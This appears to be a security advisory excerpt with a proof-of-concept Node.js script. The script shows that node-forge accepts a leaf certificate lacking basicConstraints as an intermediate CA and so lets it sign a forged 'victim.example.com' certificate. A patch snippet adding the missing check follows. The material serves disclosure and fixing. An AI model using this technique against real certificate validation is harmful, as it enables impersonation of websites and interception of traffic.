GHSA-2328-f5f3-gj25

const forge = require('node-forge'); const pki = forge.pki; function generateKeyPair() { return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 }); } console.log('=== node-forge basicConstraints Bypass PoC ===\n'); // 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true) const rootKeys = generateKeyPair(); const rootCert = pki.createCertificate(); rootCert.publicKey = rootKeys.publicKey; rootCert.serialNumber = '01'; rootCert.validity.notBefore = new Date(); rootCert.validity.notAfter = new Date(); rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10); const rootAttrs = [ { name: 'commonName', value: 'Legitimate Root CA' }, { name: 'organizationName', value: 'PoC Security Test' } ]; rootCert.setSubject(rootAttrs); rootCert.setIssuer(rootAttrs); rootCert.setExtensions([ { name: 'basicConstraints', cA: true, critical: true }, { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true } ]); rootCert.sign(rootKeys.privateKey, forge.md.sha256.create()); // 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage // This certificate should NOT be allowed to sign other certificates const leafKeys = generateKeyPair(); const leafCert = pki.createCertificate(); leafCert.publicKey = leafKeys.publicKey; leafCert.serialNumber = '02'; leafCert.validity.notBefore = new Date(); leafCert.validity.notAfter = new Date(); leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5); const leafAttrs = [ { name: 'commonName', value: 'Non-CA Leaf Certificate' }, { name: 'organizationName', value: 'PoC Security Test' } ]; leafCert.setSubject(leafAttrs); leafCert.setIssuer(rootAttrs); // NO basicConstraints extension — NO keyUsage extension leafCert.sign(rootKeys.privateKey, forge.md.sha256.create()); // 3. Create a "victim" certificate signed by the leaf // This simulates an attacker using a non-CA cert to forge certificates const victimKeys = generateKeyPair(); const victimCert = pki.createCertificate(); victimCert.publicKey = victimKeys.publicKey; victimCert.serialNumber = '03'; victimCert.validity.notBefore = new Date(); victimCert.validity.notAfter = new Date(); victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1); const victimAttrs = [ { name: 'commonName', value: 'victim.example.com' }, { name: 'organizationName', value: 'Victim Corp' } ]; victimCert.setSubject(victimAttrs); victimCert.setIssuer(leafAttrs); victimCert.sign(leafKeys.privateKey, forge.md.sha256.create()); // 4. Verify the chain: root -> leaf -> victim const caStore = pki.createCaStore([rootCert]); try { const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]); console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result); console.log(' node-forge accepted a non-CA certificate as an intermediate CA!'); console.log(' This violates RFC 5280 Section 6.1.4.'); } catch (e) { console.log('[SECURE] Chain verification FAILED (expected): ' + e.message); }

// After the keyUsage check block, BEFORE the cA check: if(error === null && bcExt === null) { error = { message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.', error: pki.certificateError.bad_certificate }; }